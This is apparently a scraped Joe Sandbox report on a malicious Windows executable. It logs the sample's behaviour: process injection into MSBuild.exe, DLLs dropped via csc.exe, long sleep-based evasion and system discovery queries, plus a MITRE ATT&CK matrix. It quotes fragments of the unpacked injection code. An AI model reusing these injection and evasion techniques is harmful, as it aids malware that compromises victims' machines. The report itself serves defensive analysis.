Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Memory allocated: E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Memory allocated: 2870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Memory allocated: 2670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Memory allocated: 5840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Memory allocated: 6840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Memory allocated: 3220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Memory allocated: 3460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Memory allocated: 3280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Memory allocated: 6460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Memory allocated: 7460000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 360000	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 360000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 360000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 603	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 1139	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 7816	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qul4nop0.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5wfb2epz.dll	Jump to dropped file

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe TID: 7068	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe TID: 6672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe TID: 7084	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6688	Thread sleep time: -217080000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3328	Thread sleep time: -2278000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3328	Thread sleep time: -15632000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe TID: 7084	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe TID: 64	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe TID: 6716	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6736	Thread sleep time: -720000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6736	Thread sleep time: -360000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: zsd5jgZ9LU.exe, 00000012.00000002.1487897132.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{
Source: zsd5jgZ9LU.exe, 00000000.00000002.1312119727.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000010.00000002.3690797647.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1495779621.0000000001317000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_02D60761 mov eax, dword ptr fs:[00000030h]		16_2_02D60761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_02CB0761 mov eax, dword ptr fs:[00000030h]		27_2_02CB0761

Source: 0.2.zsd5jgZ9LU.exe.29797b8.0.raw.unpack, CountryPick.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.zsd5jgZ9LU.exe.29797b8.0.raw.unpack, CountryPick.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.zsd5jgZ9LU.exe.29797b8.0.raw.unpack, CountryPick.cs	Reference to suspicious API methods: VirtualAllocExAction(processInformation.ProcessHandle, num4, length, 12288, 64)

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zsd5jgZ9LU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
zsd5jgZ9LU.exe

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: MSBuild.exe	Binary or memory string: Shell_TrayWnd
Source: zsd5jgZ9LU.exe, 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000010.00000002.3691503846.000000000363E000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndSysPagerToolbarWindow32U
Source: zsd5jgZ9LU.exe, 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000010.00000002.3691503846.00000000036A2000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: explorer.exeShell_TrayWnd

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,		27_2_0334E348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		27_2_0334D7E8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId			Jump to behavior

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Queries volume information: C:\Users\user\Desktop\zsd5jgZ9LU.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Queries volume information: C:\Windows\Temp\zsd5jgZ9LU.exe VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	111 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Registry Run Keys / Startup Folder	412 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Registry Run Keys / Startup Folder	21 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Multi-hop Proxy	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	65 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
